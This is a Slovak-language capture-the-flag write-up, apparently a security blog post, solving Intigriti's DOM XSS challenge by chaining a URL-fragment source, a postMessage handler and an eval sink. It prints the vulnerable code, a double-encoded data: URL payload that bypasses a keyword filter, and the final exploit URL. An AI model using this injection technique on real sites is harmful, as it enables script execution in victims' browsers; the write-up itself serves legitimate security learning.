24 máj 2019 / 5 minút čítania
Intigriti bug bounty platforma zverejnila DOM XSS Challenge dostupnú na adrese Intigriti (zadanie). Cieľom bolo identifikovať a exploitovať DOM XSS zraniteľnosť. A to tak, že sa po načítaní URL sa zobrazí pop-up okno s hodnotou document.domain
, v tomto prípade (challenge.intigriti.io).
Zraniteľná URL obsahovala jednoduchý JS kód:
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe.onload = function(){
window.addEventListener("message", executeCtx, false);
}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
}
Po krátkej analýze kódu sme identifikovali:
document.location.hash.substr(1)
(je to tzv. "source" - vstup používateľa)iframe
-> document.body.appendChild(iframe)
message
event listener window.addEventListener("message", executeCtx, false);
a funkciu (handler), ktorá spracuje túto udalosť function executeCtx(e)
eval(url)
s používateľským vstupom (je to tzv. "sink")Pozrime sa bližšie na to, ako sa spracováva vstup používateľa - "source":
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
Časť kódu robí nasledovné:
document.location.hash.substr(1)
https://challenge.intigriti.io#FRAGMENT_DATA
-> FRAGMENT_DATA
decodeURIComponent
URL
https://example.com
, data:text/html,content
script
, <
and >
a nahradí ich reťazcom forbidden
%253Csvg onload=alert()%253E
-> %3Csvg onload=alert()%3E
.Druhý riadok kódu:
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe
, do ktorého vstupujú údaje z URL fragmentu ako iframe.src
iframe
Zvyšok JS kódu implementuje listener a handler funkcie, pre spracovanie udalostí:
iframe.onload = function(){
window.addEventListener("message", executeCtx, false);
}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
}
Kód vykonáva nasledovné:
message
event listener pre iframe
Window
objektami (dokumentácia)iframe
pomocou JS volania postMessage
napr. window.postMessage({'key': 'value'}, '*')
executeCtx(e)
iframe.contentWindow
{}
url
alebo iframe.src
vstupujú do funkcie eval(url)
Pre úspešnú exploitáciu, musíme zabezpečiť, aby údaje z URL fragmentu mali nasledovné vlastnosti:
Pre vykonanie exploitu musíme:
executeCtx
s našim payloadomTreba si uvedomiť, že každá URL schéma je zároveň aj syntakticky správny JS kód, pretože má rovnakú syntax ako label. Label syntax je nasledovná:
label :
statement
URL schéma vyzerá nasledovne:
https://example.com
Je to label s komentárom //
(source). Všetko za //
je komentár. Avšak, v prípade, keď je možné vložiť nový riadok napr. pomocou \x0a
tak sa kód vykoná, pretože to ukončí komentár a ďalej pokračuje JS kód:
eval("https://example.com\x0aalert('scheme payload')")
Alebo namiesto vloženia nového riadku môžeme použiť URL schému data. Syntax je nasledovná:
data:[<mediatype>][;base64],<data>
Pozrime si data URL schému s obsahom typu text/html
, ako sa bude chovať v prípade, že ju spracujeme ako JS:
data:text/html,<svg onload=alert()>
data
text
, html
/
,
<svg onload=alert()>
Avšak je možné skomponovať správnu syntax a to nasledovne:
data:text/html,/*<svg onload=alert()>*/ 1; var text=1, html=2; alert('scheme payload');
Kde vidíme:
/*<svg onload=alert()>*/
1
, kvôli predchádzajúcej čiarke;
var text=1, html=2;
alert('scheme payload');
Už nám chýba iba odoslať správu (post message), ktorá zavolá handler. Toho môžeme dosiahnuť pomocou funckie postMessage
. Handler skontroluje, či bol odosielateľom správy iframe
. Payload vyzerá nasledovne:
data:text/html,/*<svg onload="parent.postMessage({},'*')">*/ 1; var text=1, html=2; alert(document.domain);
Zakomentovaný reťazec /*<svg onload="parent.postMessage({},'*')">*/
je validné HTML, ktoré sa vykoná v iframe
. Kód v kontexte objektu iframe
odošle prázdnu správu pomocou parent.postMessage({},'*')
. Táto správa je spracovaná pomocou handler funkcie executeCtx
. Všetky požadované podmienky tak budú splnené:
iframe
eval(url)
, ktorá JS kód zavoláVýsledný payload musí byť dvakrát URL kódovaný, z dôvodu ošetrovania vstupu. Vyzerá nasledovne:
data:text/html,/*%253Csvg%20onload=%22parent.postMessage({},'*')%22;%253E*/1;var%20text=1,html=2;alert(document.domain);
Pre vykonanie exploitu je potrebné otvoriť nasledovnú URL:
https://challenge.intigriti.io/#data:text/html,/*%253Csvg%20onload=%22parent.postMessage({},'*')%22;%253E*/1;var%20text=1,html=2;alert(document.domain);
Po načítaní sa zobrazí vyskakovanie okno s textom "challenge.intigriti.io".
Všetky články
Prihláste sa k odberu nášho newslettera a získajte všetky dôležité novinky v oblasti kybernetickej bezpečnosti a etického hackovania.